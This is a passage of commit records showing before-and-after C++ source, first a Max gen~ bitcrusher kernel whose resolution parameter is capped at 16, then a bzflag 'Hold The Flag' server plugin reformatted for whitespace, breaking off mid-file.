= div_48;\n\t\t\tdouble add_45 = (mul_50 + 0.5);\n\t\t\tdouble floor_46 = floor(add_45);\n\t\t\tdouble sub_44 = (floor_46 - 0.5);\n\t\t\tdouble div_47 = safediv(sub_44, m_resolution_1);\n\t\t\tdouble out2 = div_47;\n\t\t\t\/\/ assign results to output buffer;\n\t\t\t(*(__out1++)) = out1;\n\t\t\t(*(__out2++)) = out2;\n\t\t\t\n\t\t};\n\t\treturn __exception;\n\t\t\n\t};\n\tinline void set_resolution(double _value) {\n\t\tm_resolution_1 = _value;\n\t};\n\t\n} State;\n\n\n\/\/\/ \n\/\/\/\tConfiguration for the genlib API\n\/\/\/\n\n\/\/\/ Number of signal inputs and outputs \n\nint gen_kernel_numins = 1;\nint gen_kernel_numouts = 2;\n\nint num_inputs() { return gen_kernel_numins; }\nint num_outputs() { return gen_kernel_numouts; }\nint num_params() { return 1; }\n\n\/\/\/ Assistive lables for the signal inputs and outputs \n\nconst char * gen_kernel_innames[] = { \"in1\" };\nconst char * gen_kernel_outnames[] = { \"out1\", \"out2\" };\n\n\/\/\/ Invoke the signal process of a State object\n\nint perform(CommonState *cself, t_sample **ins, long numins, t_sample **outs, long numouts, long n) { \n\tState * self = (State *)cself;\n\treturn self->perform(ins, outs, n);\n}\n\n\/\/\/ Reset all parameters and stateful operators of a State object\n\nvoid reset(CommonState *cself) { \n\tState * self = (State *)cself;\n\tself->reset(cself->sr, cself->vs); \n}\n\n\/\/\/ Set a parameter of a State object \n\nvoid setparameter(CommonState *cself, long index, double value, void *ref) {\n\tState * self = (State *)cself;\n\tswitch (index) {\n\t\tcase 0: self->set_resolution(value); break;\n\t\t\n\t\tdefault: break;\n\t}\n}\n\n\/\/\/ Get the value of a parameter of a State object \n\nvoid getparameter(CommonState *cself, long index, double *value) {\n\tState *self = (State *)cself;\n\tswitch (index) {\n\t\tcase 0: *value = self->m_resolution_1; break;\n\t\t\n\t\tdefault: break;\n\t}\n}\n\n\/\/\/ Allocate and configure a new State object and it's internal CommonState:\n\nvoid * create(double sr, long vs) {\n\tState *self = new State;\n\tself->reset(sr, vs);\n\tParamInfo *pi;\n\tself->__commonstate.inputnames = gen_kernel_innames;\n\tself->__commonstate.outputnames = gen_kernel_outnames;\n\tself->__commonstate.numins = gen_kernel_numins;\n\tself->__commonstate.numouts = gen_kernel_numouts;\n\tself->__commonstate.sr = sr;\n\tself->__commonstate.vs = vs;\n\tself->__commonstate.params = (ParamInfo *)genlib_sysmem_newptr(1 * sizeof(ParamInfo));\n\tself->__commonstate.numparams = 1;\n\t\/\/ initialize parameter 0 (\"m_resolution_1\")\n\tpi = self->__commonstate.params + 0;\n\tpi->name = \"resolution\";\n\tpi->paramtype = GENLIB_PARAMTYPE_FLOAT;\n\tpi->defaultvalue = self->m_resolution_1;\n\tpi->defaultref = 0;\n\tpi->hasinputminmax = false;\n\tpi->inputmin = 0; \n\tpi->inputmax = 1;\n\tpi->hasminmax = true;\n\tpi->outputmin = 1;\n\tpi->outputmax = 32;\n\tpi->exp = 0;\n\tpi->units = \"bits\";\t\t\/\/ no units defined\n\t\n\treturn self;\n}\n\n\/\/\/ Release all resources and memory used by a State object:\n\nvoid destroy(CommonState *cself) { \n\tState * self = (State *)cself;\n\tgenlib_sysmem_freeptr(cself->params);\n\t\t\n\tdelete self; \n}\n\n\n} \/\/ gen_exported::\n<commit_msg>Limit bitcrusher resolution param to 16 max<commit_after>#include \"gen_exported.h\"\n\nnamespace gen_exported {\n\n\n\/*******************************************************************************************************************\nCopyright (c) 2012 Cycling '74\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software\nand associated documentation files (the \"Software\"), to deal in the Software without restriction,\nincluding without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\nand\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies\nor substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*******************************************************************************************************************\/\n\n\n\/\/ global noise generator\nNoise noise;\nstatic const int GENLIB_LOOPCOUNT_BAIL = 100000;\n\n\n\/\/ The State struct contains all the state and procedures for the gendsp kernel\ntypedef struct State { \n\tCommonState __commonstate;\n\tdouble m_resolution_1;\n\tdouble samplerate;\n\tint vectorsize;\n\tint __exception;\n\t\/\/ re-initialize all member variables;\n\tinline void reset(double __sr, int __vs) { \n\t\t__exception = 0;\n\t\tvectorsize = __vs;\n\t\tsamplerate = __sr;\n\t\tm_resolution_1 = 6;\n\t\tgenlib_reset_complete(this);\n\t\t\n\t};\n\t\/\/ the signal processing routine;\n\tinline int perform(t_sample ** __ins, t_sample ** __outs, int __n) { \n\t\tvectorsize = __n;\n\t\tconst t_sample * __in1 = __ins[0];\n\t\tt_sample * __out1 = __outs[0];\n\t\tt_sample * __out2 = __outs[1];\n\t\tif (__exception) { \n\t\t\treturn __exception;\n\t\t\t\n\t\t} else if (( (__in1 == 0) || (__out1 == 0) || (__out2 == 0) )) { \n\t\t\t__exception = GENLIB_ERR_NULL_BUFFER;\n\t\t\treturn __exception;\n\t\t\t\n\t\t};\n\t\t\/\/ the main sample loop;\n\t\twhile ((__n--)) { \n\t\t\tconst double in1 = (*(__in1++));\n\t\t\tdouble mul_50 = (in1 * m_resolution_1);\n\t\t\tdouble ceil_49 = ceil(mul_50);\n\t\t\tdouble div_48 = safediv(ceil_49, m_resolution_1);\n\t\t\tdouble out1 = div_48;\n\t\t\tdouble add_45 = (mul_50 + 0.5);\n\t\t\tdouble floor_46 = floor(add_45);\n\t\t\tdouble sub_44 = (floor_46 - 0.5);\n\t\t\tdouble div_47 = safediv(sub_44, m_resolution_1);\n\t\t\tdouble out2 = div_47;\n\t\t\t\/\/ assign results to output buffer;\n\t\t\t(*(__out1++)) = out1;\n\t\t\t(*(__out2++)) = out2;\n\t\t\t\n\t\t};\n\t\treturn __exception;\n\t\t\n\t};\n\tinline void set_resolution(double _value) {\n\t\tm_resolution_1 = (_value < 1 ? 1 : (_value > 16 ? 16 : _value));\n\t};\n\t\n} State;\n\n\n\/\/\/ \n\/\/\/\tConfiguration for the genlib API\n\/\/\/\n\n\/\/\/ Number of signal inputs and outputs \n\nint gen_kernel_numins = 1;\nint gen_kernel_numouts = 2;\n\nint num_inputs() { return gen_kernel_numins; }\nint num_outputs() { return gen_kernel_numouts; }\nint num_params() { return 1; }\n\n\/\/\/ Assistive lables for the signal inputs and outputs \n\nconst char * gen_kernel_innames[] = { \"in1\" };\nconst char * gen_kernel_outnames[] = { \"out1\", \"out2\" };\n\n\/\/\/ Invoke the signal process of a State object\n\nint perform(CommonState *cself, t_sample **ins, long numins, t_sample **outs, long numouts, long n) { \n\tState * self = (State *)cself;\n\treturn self->perform(ins, outs, n);\n}\n\n\/\/\/ Reset all parameters and stateful operators of a State object\n\nvoid reset(CommonState *cself) { \n\tState * self = (State *)cself;\n\tself->reset(cself->sr, cself->vs); \n}\n\n\/\/\/ Set a parameter of a State object \n\nvoid setparameter(CommonState *cself, long index, double value, void *ref) {\n\tState * self = (State *)cself;\n\tswitch (index) {\n\t\tcase 0: self->set_resolution(value); break;\n\t\t\n\t\tdefault: break;\n\t}\n}\n\n\/\/\/ Get the value of a parameter of a State object \n\nvoid getparameter(CommonState *cself, long index, double *value) {\n\tState *self = (State *)cself;\n\tswitch (index) {\n\t\tcase 0: *value = self->m_resolution_1; break;\n\t\t\n\t\tdefault: break;\n\t}\n}\n\n\/\/\/ Allocate and configure a new State object and it's internal CommonState:\n\nvoid * create(double sr, long vs) {\n\tState *self = new State;\n\tself->reset(sr, vs);\n\tParamInfo *pi;\n\tself->__commonstate.inputnames = gen_kernel_innames;\n\tself->__commonstate.outputnames = gen_kernel_outnames;\n\tself->__commonstate.numins = gen_kernel_numins;\n\tself->__commonstate.numouts = gen_kernel_numouts;\n\tself->__commonstate.sr = sr;\n\tself->__commonstate.vs = vs;\n\tself->__commonstate.params = (ParamInfo *)genlib_sysmem_newptr(1 * sizeof(ParamInfo));\n\tself->__commonstate.numparams = 1;\n\t\/\/ initialize parameter 0 (\"m_resolution_1\")\n\tpi = self->__commonstate.params + 0;\n\tpi->name = \"resolution\";\n\tpi->paramtype = GENLIB_PARAMTYPE_FLOAT;\n\tpi->defaultvalue = self->m_resolution_1;\n\tpi->defaultref = 0;\n\tpi->hasinputminmax = false;\n\tpi->inputmin = 0; \n\tpi->inputmax = 1;\n\tpi->hasminmax = true;\n\tpi->outputmin = 1;\n\tpi->outputmax = 16;\n\tpi->exp = 0;\n\tpi->units = \"bits\";\t\t\/\/ no units defined\n\t\n\treturn self;\n}\n\n\/\/\/ Release all resources and memory used by a State object:\n\nvoid destroy(CommonState *cself) { \n\tState * self = (State *)cself;\n\tgenlib_sysmem_freeptr(cself->params);\n\t\t\n\tdelete self; \n}\n\n\n} \/\/ gen_exported::\n<|endoftext|>"} {"text":"<commit_before>\/\/ HoldTheFlag.cpp : bzfs plugin for Hold-The-flag game mode\n\/\/\n\/\/ $Id$\n\n\n#include \"bzfsAPI.h\"\n#include <map>\n#include <stdarg.h>\n\nBZ_GET_PLUGIN_VERSION\n\n#define HOLDTHEFLAG_VER \"1.00.02\"\n#define DO_FLAG_RESET 1\n#define DEFAULT_TEAM eGreenTeam\n\n\n#define MAX_PLAYERID 255\n\n#ifdef _WIN32\n\n#ifndef strcasecmp\n# define strcasecmp _stricmp\n#endif\n\n#ifndef strncasecmp\n# define strncasecmp _strnicmp\n#endif\n\n#endif\n\n\ntypedef struct {\n bool isValid;\n int score;\n char callsign[22];\n double joinTime;\n int capNum;\n} HtfPlayer;\n\nHtfPlayer Players[MAX_PLAYERID+1];\nstd::map<std::string, HtfPlayer> leftDuringMatch;\nbool matchActive = false;\nbool htfEnabled = true;\nbz_eTeamType htfTeam = eNoTeam;\nint nextCapNum = 0;\nint NumPlayers=0;\nint Leader;\n\nclass HTFscore : public bz_EventHandler, public bz_CustomSlashCommandHandler\n{\npublic:\n virtual void process ( bz_EventData *eventData );\n virtual bool handle ( int playerID, bz_ApiString, bz_ApiString, bz_APIStringList*);\n bz_eTeamType colorNameToDef (const char *color);\n const char *colorDefToName (bz_eTeamType team);\n\nprotected:\n\nprivate:\n};\n\nHTFscore htfScore;\n\n\nbz_eTeamType HTFscore::colorNameToDef (const char *color)\n{\n if (!color && (strlen(color)<3))\n\treturn eNoTeam;\n\n char temp[4] = {0};\n strncpy(temp,color,3);\n\n if (!strcasecmp (color, \"gre\"))\n return eGreenTeam;\n if (!strcasecmp (color, \"red\"))\n return eRedTeam;\n if (!strcasecmp (color, \"pur\"))\n return ePurpleTeam;\n if (!strcasecmp (color, \"blu\"))\n return eBlueTeam;\n if (!strcasecmp (color, \"rog\"))\n return eRogueTeam;\n if (!strcasecmp (color, \"obs\"))\n return eObservers;\n return eNoTeam;\n}\n\nconst char *HTFscore::colorDefToName (bz_eTeamType team)\n{\n switch (team){\n case eGreenTeam:\n return (\"Green\");\n case eBlueTeam:\n return (\"Blue\");\n case eRedTeam:\n return (\"Red\");\n case ePurpleTeam:\n return (\"Purple\");\n case eObservers:\n return (\"Observer\");\n case eRogueTeam:\n return (\"Rogue\");\n case eRabbitTeam:\n return (\"Rabbit\");\n case eHunterTeam:\n return (\"Hunters\");\n case eAdministrators:\n return (\"Administrators\");\n default:\n return (\"No Team\");\n }\n}\n\n\nbool listAdd (int playerID, const char *callsign)\n{\n if (playerID>MAX_PLAYERID || playerID<0)\n return false;\n Players[playerID].score = 0;\n Players[playerID].isValid = true;\n Players[playerID].capNum = -1;\n strncpy (Players[playerID].callsign, callsign, 20);\n ++NumPlayers;\n return true;\n}\n\nbool listDel (int playerID){\n if (playerID>MAX_PLAYERID || playerID<0 || !Players[playerID].isValid)\n return false;\n Players[playerID].isValid = false;\n --NumPlayers;\n return true;\n}\n\n\nint sort_compare (const void *_p1, const void *_p2){\n int p1 = *(int *)_p1;\n int p2 = *(int *)_p2;\n\n if (Players[p1].score != Players[p2].score)\n return Players[p2].score - Players[p1].score;\n return Players[p2].capNum - Players[p1].capNum;\n return 0;\n}\n\n\nvoid dispScores (int who)\n{\n int sortList[MAX_PLAYERID+1];\t \/\/ do HtfPlayer * !!\n int playerLastCapped = -1;\n int lastCapnum = -1;\n int x = 0;\n\n if (!htfEnabled)\n return;\n bz_sendTextMessage(BZ_SERVER, who, \"**** HTF Scoreboard ****\");\n Leader = -1;\n if (NumPlayers<1)\n return;\n\n for (int i=0; i<MAX_PLAYERID; i++){\n if (Players[i].isValid) {\n if (Players[i].capNum > lastCapnum){\n\tplayerLastCapped = i;\n\tlastCapnum = Players[i].capNum;\n }\n sortList[x++] = i;\n }\n }\n qsort (sortList, NumPlayers, sizeof(int), sort_compare);\n if (x != NumPlayers)\n bz_debugMessage(1, \"++++++++++++++++++++++++ HTF INTERNAL ERROR: player count mismatch!\");\n for (int i=0; i<NumPlayers; i++){\n x = sortList[i];\n bz_sendTextMessagef(BZ_SERVER, who, \"%20.20s :%3d %c\", Players[x].callsign, Players[x].score,\n\t\t\tx == playerLastCapped ? '*' : ' ');\n }\n Leader = sortList[0];\n}\n\n\nvoid resetScores (void)\n{\n for (int i=0; i<MAX_PLAYERID; i++){\n Players[i].score = 0;\n Players[i].capNum = -1;\n }\n nextCapNum = 0;\n}\n\n\nvoid htfCapture (int who)\n{\n if (!htfEnabled)\n return;\n\n#if DO_FLAG_RESET\n bz_resetFlags ( false );\n#endif\n\n bz_sendTextMessagef (BZ_SERVER, BZ_ALLUSERS, \"HTF FLAG CAPTURED by %s\", Players[who].callsign);\n ++Players[who].score;\n Players[who].capNum = nextCapNum++;\n dispScores(BZ_ALLUSERS);\n}\n\nvoid htfStartGame (void)\n{\n if (!htfEnabled)\n return;\n\n\/\/ TODO: clear leftDuringMatch\n resetScores();\n matchActive = true;\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, \"HTF MATCH has begun, good luck!\");\n}\n\n\nvoid htfEndGame (void)\n{\n if (htfEnabled && matchActive){\n dispScores(BZ_ALLUSERS);\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, \"HTF MATCH has ended.\");\n if (Leader >= 0)\n bz_sendTextMessagef(BZ_SERVER, BZ_ALLUSERS, \"%s is the WINNER !\", Players[Leader].callsign);\n }\n\n matchActive = false;\n\n\/\/ TODO: clear leftDuringMatch\n\n}\n\n\nvoid sendHelp (int who)\n{\n bz_sendTextMessage(BZ_SERVER, who, \"HTF commands: reset, off, on, stats\");\n}\n\n\n\/************************** (SUB)COMMAND Implementations ... **************************\/\n\nvoid htfStats (int who)\n{\n bz_sendTextMessagef(BZ_SERVER, who, \"HTF plugin version %s\", HOLDTHEFLAG_VER);\n bz_sendTextMessagef(BZ_SERVER, who, \" Team: %s\", htfScore.colorDefToName(htfTeam));\n bz_sendTextMessagef(BZ_SERVER, who, \" Flag Reset: %s\" , DO_FLAG_RESET ? \"ENabled\":\"DISabled\");\n}\n\n\nvoid htfReset (int who)\n{\n resetScores();\n bz_sendTextMessagef (BZ_SERVER, BZ_ALLUSERS, \"*** HTF scores reset by %s\", Players[who].callsign);\n}\n\nvoid htfEnable (bool onoff, int who)\n{\n char msg[255];\n if (onoff == htfEnabled){\n bz_sendTextMessage(BZ_SERVER, who, \"HTF mode is already that way.\");\n return;\n }\n htfEnabled = onoff;\n sprintf (msg, \"*** HTF mode %s by %s\", onoff?\"ENabled\":\"DISabled\", Players[who].callsign);\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, msg);\n}\n\n\n\/\/ handle events\nvoid HTFscore::process ( bz_EventData *eventData )\n{\n \/\/ player JOIN\n if (eventData->eventType == bz_ePlayerJoinEvent) {\n char msg[255];\n bz_PlayerJoinPartEventData_V1 *joinData = (bz_PlayerJoinPartEventData_V1*)eventData;\nbz_debugMessagef(3, \"++++++ HTFscore: Player JOINED (ID:%d, TEAM:%d, CALLSIGN:%s)\", joinData->playerID, joinData->record->team, joinData->record->callsign.c_str()); fflush (stdout);\n if (htfTeam!=eNoTeam && joinData->record->team!=htfTeam && joinData->record->team != eObservers){\n sprintf (msg, \"HTF mode enabled, you must join the %s team to play\", htfScore.colorDefToName(htfTeam));\n bz_kickUser (joinData->record->playerID, msg, true);\n return;\n }\n if (joinData->record->team == htfTeam)\n listAdd (joinData->playerID, joinData->record->callsign.c_str());\n\n \/\/ player PART\n } else if (eventData->eventType == bz_ePlayerPartEvent) {\n bz_PlayerJoinPartEventData_V1 *joinData = (bz_PlayerJoinPartEventData_V1*)eventData;\nbz_debugMessagef(3, \"++++++ HTFscore: Player PARTED (ID:%d, TEAM:%d, CALLSIGN:%s)\", joinData->playerID, joinData->record->team, joinData->record->callsign.c_str()); fflush (stdout);\n\n if (joinData->record->team == htfTeam)\n listDel (joinData->playerID);\n\n \/\/ flag CAPTURE\n } else if (eventData->eventType == bz_eCaptureEvent) {\n bz_CTFCaptureEventData_V1 *capData = (bz_CTFCaptureEventData_V1*)eventData;\n htfCapture (capData->playerCapping);\n\n \/\/ game START\n } else if (eventData->eventType == bz_eGameStartEvent) {\n bz_GameStartEndEventData_V1 *msgData = (bz_GameStartEndEventData_V1*)eventData;\nbz_debugMessagef(2, \"++++++ HTFscore: Game START (%f, %f)\", msgData->eventTime, msgData->duration); fflush (stdout);\n htfStartGame ();\n\n \/\/ game END\n } else if (eventData->eventType == bz_eGameEndEvent) {\n bz_GameStartEndEventData_V1 *msgData = (bz_GameStartEndEventData_V1*)eventData;\nbz_debugMessagef(2, \"++++++ HTFscore: Game END (%f, %f)\", msgData->eventTime, msgData->duration); fflush (stdout);\n htfEndGame ();\n }\n}\n\n\nbool checkPerms (int playerID, const char *htfCmd, const char *permName)\n{\n if (bz_hasPerm (playerID, permName))\n return true;\n bz_sendTextMessagef (BZ_SERVER, BZ_ALLUSERS, \"you need \\\"%s\\\" permission to do \/htf %s\", permName, htfCmd);\n return false;\n}\n\n\n\/\/ handle \/htf command\nbool HTFscore::handle ( int playerID, bz_ApiString cmd, bz_ApiString, bz_APIStringList* cmdParams )\n{\n char subCmd[6];\n if (strcasecmp (cmd.c_str(), \"htf\")) \/\/ is it for me ?\n return false;\n if (cmdParams->get(0).c_str()[0] == '\\0'){\n dispScores (playerID);\n return true;\n }\n\n strncpy (subCmd, cmdParams->get(0).c_str(), 5);\n subCmd[4] = '\\0';\n if (strcasecmp (subCmd, \"rese\") == 0){\n if (checkPerms (playerID, \"reset\", \"COUNTDOWN\"))\n htfReset (playerID);\n } else if (strcasecmp (subCmd, \"off\") == 0){\n if (checkPerms (playerID, \"off\", \"HTFONOFF\"))\n htfEnable (false, playerID);\n } else if (strcasecmp (subCmd, \"on\") == 0){\n if (checkPerms (playerID, \"off\", \"HTFONOFF\"))\n htfEnable (true, playerID);\n } else if (strcasecmp (subCmd, \"stat\") == 0)\n htfStats (playerID);\n else\n sendHelp (playerID);\n return true;\n}\n\n\nbool commandLineHelp (void){\n const char *help[] = {\n \"Command line args: PLUGINNAME,[TEAM=color]\",\n NULL\n };\n bz_debugMessage (0, \"+++ HoldTheFlag plugin command-line error\");\n for (int x=0; help[x]!=NULL; x++)\n bz_debugMessage (0, help[x]);\n return true;\n}\n\n\nbool parseCommandLine (const char *cmdLine)\n{\n if (cmdLine==NULL || *cmdLine=='\\0' || strlen(cmdLine) < 5 )\n return false;\n htfTeam = eGreenTeam;\n if (strncasecmp (cmdLine, \"TEAM=\", 5) == 0){\n if ((htfTeam = htfScore.colorNameToDef(cmdLine+5)) == eNoTeam)\n return commandLineHelp ();\n } else\n return commandLineHelp ();\n return false;\n}\n\n\nBZF_PLUGIN_CALL int bz_Load (const char* cmdLine)\n{\n bz_BasePlayerRecord *playerRecord;\n\n if (parseCommandLine (cmdLine))\n return -1;\n\n \/\/ get current list of player indices ...\n bz_APIIntList *playerList = bz_newIntList();\n bz_getPlayerIndexList (playerList);\n for (unsigned int i = 0; i < playerList->size(); i++){\n if ((playerRecord = bz_getPlayerByIndex (playerList->get(i))) != NULL){\n listAdd (playerList->get(i), playerRecord->callsign.c_str());\n bz_freePlayerRecord (playerRecord);\n }\n }\n bz_deleteIntList (playerList);\n\n bz_registerCustomSlashCommand (\"htf\", &htfScore);\n bz_registerEvent(bz_ePlayerJoinEvent, &htfScore);\n bz_registerEvent(bz_ePlayerPartEvent, &htfScore);\n bz_registerEvent(bz_eCaptureEvent, &htfScore);\n bz_registerEvent(bz_eGameStartEvent, &htfScore);\n bz_registerEvent(bz_eGameEndEvent, &htfScore);\n bz_debugMessagef(1, \"HoldTheFlag plugin loaded - v%s\", HOLDTHEFLAG_VER);\n return 0;\n}\n\nBZF_PLUGIN_CALL int bz_Unload (void)\n{\n bz_removeCustomSlashCommand (\"htf\");\n bz_removeEvent (bz_ePlayerJoinEvent, &htfScore);\n bz_removeEvent (bz_ePlayerPartEvent, &htfScore);\n bz_removeEvent (bz_eCaptureEvent, &htfScore);\n bz_removeEvent (bz_eGameStartEvent, &htfScore);\n bz_removeEvent (bz_eGameEndEvent, &htfScore);\n bz_debugMessage(1, \"HoldTheFlag plugin unloaded\");\n return 0;\n}\n\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>More whitespace... where will it end?<commit_after>\/\/ HoldTheFlag.cpp : bzfs plugin for Hold-The-flag game mode\n\/\/\n\/\/ $Id$\n\n\n#include \"bzfsAPI.h\"\n#include <map>\n#include <stdarg.h>\n\nBZ_GET_PLUGIN_VERSION\n\n#define HOLDTHEFLAG_VER \"1.00.02\"\n#define DO_FLAG_RESET 1\n#define DEFAULT_TEAM eGreenTeam\n\n\n#define MAX_PLAYERID 255\n\n#ifdef _WIN32\n\n#ifndef strcasecmp\n# define strcasecmp _stricmp\n#endif\n\n#ifndef strncasecmp\n# define strncasecmp _strnicmp\n#endif\n\n#endif\n\n\ntypedef struct {\n bool isValid;\n int score;\n char callsign[22];\n double joinTime;\n int capNum;\n} HtfPlayer;\n\nHtfPlayer Players[MAX_PLAYERID+1];\nstd::map<std::string, HtfPlayer> leftDuringMatch;\nbool matchActive = false;\nbool htfEnabled = true;\nbz_eTeamType htfTeam = eNoTeam;\nint nextCapNum = 0;\nint NumPlayers=0;\nint Leader;\n\nclass HTFscore : public bz_EventHandler, public bz_CustomSlashCommandHandler\n{\npublic:\n virtual void process(bz_EventData *eventData);\n virtual bool handle(int playerID, bz_ApiString, bz_ApiString, bz_APIStringList*);\n bz_eTeamType colorNameToDef(const char *color);\n const char *colorDefToName(bz_eTeamType team);\n\nprotected:\n\nprivate:\n};\n\nHTFscore htfScore;\n\n\nbz_eTeamType HTFscore::colorNameToDef(const char *color)\n{\n if (!color && (strlen(color)<3))\n return eNoTeam;\n\n char temp[4] = {0};\n strncpy(temp,color,3);\n\n if (!strcasecmp(color, \"gre\"))\n return eGreenTeam;\n if (!strcasecmp(color, \"red\"))\n return eRedTeam;\n if (!strcasecmp(color, \"pur\"))\n return ePurpleTeam;\n if (!strcasecmp(color, \"blu\"))\n return eBlueTeam;\n if (!strcasecmp(color, \"rog\"))\n return eRogueTeam;\n if (!strcasecmp(color, \"obs\"))\n return eObservers;\n return eNoTeam;\n}\n\nconst char *HTFscore::colorDefToName(bz_eTeamType team)\n{\n switch (team){\n case eGreenTeam:\n return (\"Green\");\n case eBlueTeam:\n return (\"Blue\");\n case eRedTeam:\n return (\"Red\");\n case ePurpleTeam:\n return (\"Purple\");\n case eObservers:\n return (\"Observer\");\n case eRogueTeam:\n return (\"Rogue\");\n case eRabbitTeam:\n return (\"Rabbit\");\n case eHunterTeam:\n return (\"Hunters\");\n case eAdministrators:\n return (\"Administrators\");\n default:\n return (\"No Team\");\n }\n}\n\n\nbool listAdd(int playerID, const char *callsign)\n{\n if (playerID>MAX_PLAYERID || playerID<0)\n return false;\n Players[playerID].score = 0;\n Players[playerID].isValid = true;\n Players[playerID].capNum = -1;\n strncpy(Players[playerID].callsign, callsign, 20);\n ++NumPlayers;\n return true;\n}\n\nbool listDel(int playerID){\n if (playerID>MAX_PLAYERID || playerID<0 || !Players[playerID].isValid)\n return false;\n Players[playerID].isValid = false;\n --NumPlayers;\n return true;\n}\n\n\nint sort_compare(const void *_p1, const void *_p2){\n int p1 = *(int *)_p1;\n int p2 = *(int *)_p2;\n\n if (Players[p1].score != Players[p2].score)\n return Players[p2].score - Players[p1].score;\n return Players[p2].capNum - Players[p1].capNum;\n return 0;\n}\n\n\nvoid dispScores(int who)\n{\n int sortList[MAX_PLAYERID+1];\t \/\/ do HtfPlayer * !!\n int playerLastCapped = -1;\n int lastCapnum = -1;\n int x = 0;\n\n if (!htfEnabled)\n return;\n bz_sendTextMessage(BZ_SERVER, who, \"**** HTF Scoreboard ****\");\n Leader = -1;\n if (NumPlayers<1)\n return;\n\n for (int i=0; i<MAX_PLAYERID; i++){\n if (Players[i].isValid) {\n if (Players[i].capNum > lastCapnum){\n\tplayerLastCapped = i;\n\tlastCapnum = Players[i].capNum;\n }\n sortList[x++] = i;\n }\n }\n qsort(sortList, NumPlayers, sizeof(int), sort_compare);\n if (x != NumPlayers)\n bz_debugMessage(1, \"++++++++++++++++++++++++ HTF INTERNAL ERROR: player count mismatch!\");\n for (int i=0; i<NumPlayers; i++){\n x = sortList[i];\n bz_sendTextMessagef(BZ_SERVER, who, \"%20.20s :%3d %c\", Players[x].callsign, Players[x].score,\n\t\t\tx == playerLastCapped ? '*' : ' ');\n }\n Leader = sortList[0];\n}\n\n\nvoid resetScores(void)\n{\n for (int i=0; i<MAX_PLAYERID; i++){\n Players[i].score = 0;\n Players[i].capNum = -1;\n }\n nextCapNum = 0;\n}\n\n\nvoid htfCapture(int who)\n{\n if (!htfEnabled)\n return;\n\n#if DO_FLAG_RESET\n bz_resetFlags(false);\n#endif\n\n bz_sendTextMessagef(BZ_SERVER, BZ_ALLUSERS, \"HTF FLAG CAPTURED by %s\", Players[who].callsign);\n ++Players[who].score;\n Players[who].capNum = nextCapNum++;\n dispScores(BZ_ALLUSERS);\n}\n\nvoid htfStartGame(void)\n{\n if (!htfEnabled)\n return;\n\n \/\/ TODO: clear leftDuringMatch\n resetScores();\n matchActive = true;\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, \"HTF MATCH has begun, good luck!\");\n}\n\n\nvoid htfEndGame(void)\n{\n if (htfEnabled && matchActive){\n dispScores(BZ_ALLUSERS);\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, \"HTF MATCH has ended.\");\n if (Leader >= 0)\n bz_sendTextMessagef(BZ_SERVER, BZ_ALLUSERS, \"%s is the WINNER !\", Players[Leader].callsign);\n }\n\n matchActive = false;\n\n \/\/ TODO: clear leftDuringMatch\n\n}\n\n\nvoid sendHelp(int who)\n{\n bz_sendTextMessage(BZ_SERVER, who, \"HTF commands: reset, off, on, stats\");\n}\n\n\n\/************************** (SUB)COMMAND Implementations ... **************************\/\n\nvoid htfStats(int who)\n{\n bz_sendTextMessagef(BZ_SERVER, who, \"HTF plugin version %s\", HOLDTHEFLAG_VER);\n bz_sendTextMessagef(BZ_SERVER, who, \" Team: %s\", htfScore.colorDefToName(htfTeam));\n bz_sendTextMessagef(BZ_SERVER, who, \" Flag Reset: %s\" , DO_FLAG_RESET ? \"ENabled\":\"DISabled\");\n}\n\n\nvoid htfReset(int who)\n{\n resetScores();\n bz_sendTextMessagef(BZ_SERVER, BZ_ALLUSERS, \"*** HTF scores reset by %s\", Players[who].callsign);\n}\n\nvoid htfEnable(bool onoff, int who)\n{\n char msg[255];\n if (onoff == htfEnabled){\n bz_sendTextMessage(BZ_SERVER, who, \"HTF mode is already that way.\");\n return;\n }\n htfEnabled = onoff;\n sprintf(msg, \"*** HTF mode %s by %s\", onoff?\"ENabled\":\"DISabled\", Players[who].callsign);\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, msg);\n}\n\n\n\/\/ handle events\nvoid HTFscore::process(bz_EventData *eventData)\n{\n \/\/ player JOIN\n if (eventData->eventType == bz_ePlayerJoinEvent) {\n char msg[255];\n bz_PlayerJoinPartEventData_V1 *joinData = (bz_PlayerJoinPartEventData_V1*)eventData;\n bz_debugMessagef(3, \"++++++ HTFscore: Player JOINED (ID:%d, TEAM:%d, CALLSIGN:%s)\",\n\t\t joinData->playerID, joinData->record->team,\n\t\t joinData->record->callsign.c_str());\n fflush(stdout);\n if (htfTeam!=eNoTeam &&\n\tjoinData->record->team!=htfTeam &&\n\tjoinData->record->team != eObservers) {\n sprintf(msg, \"HTF mode enabled, you must join the %s team to play\", htfScore.colorDefToName(htfTeam));\n bz_kickUser(joinData->record->playerID, msg, true);\n return;\n }\n if (joinData->record->team == htfTeam)\n listAdd(joinData->playerID, joinData->record->callsign.c_str());\n\n \/\/ player PART\n } else if (eventData->eventType == bz_ePlayerPartEvent) {\n bz_PlayerJoinPartEventData_V1 *joinData = (bz_PlayerJoinPartEventData_V1*)eventData;\n bz_debugMessagef(3, \"++++++ HTFscore: Player PARTED (ID:%d, 